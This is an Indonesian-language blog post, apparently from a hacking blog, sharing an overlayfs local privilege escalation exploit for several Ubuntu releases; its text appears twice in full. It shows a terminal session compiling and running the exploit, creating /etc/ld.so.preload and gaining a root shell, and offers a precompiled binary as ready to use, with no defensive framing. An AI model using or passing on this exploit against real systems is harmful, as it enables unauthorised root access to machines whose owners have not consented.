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Ubuntu Overlayfs Local Root Exploit
3:37 AM
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3:37 AM
Kali ini mau share localroot exploit yang vuln di OS Ubuntu 12.04, Ubuntu 14.04, Ubuntu 14.10, dan Ubuntu 15.04. Namun exploit ini hanya work jika di kernel nya terdapat FS_USERNS_MOUNT .
Oke langsung saja berikut screenshhot nya :
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
Link Download
Ubuntu Overlayfs Local Root Exploit - Yang ini sudah di compile, jadi tinggal pakai. :)
Sekian share kali ini, dan selamat menyambut bulan ramadhan :D
Oke langsung saja berikut screenshhot nya :
 |
| Ubuntu Rooted |
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
Link Download
Ubuntu Overlayfs Local Root Exploit - Yang ini sudah di compile, jadi tinggal pakai. :)
Sekian share kali ini, dan selamat menyambut bulan ramadhan :D
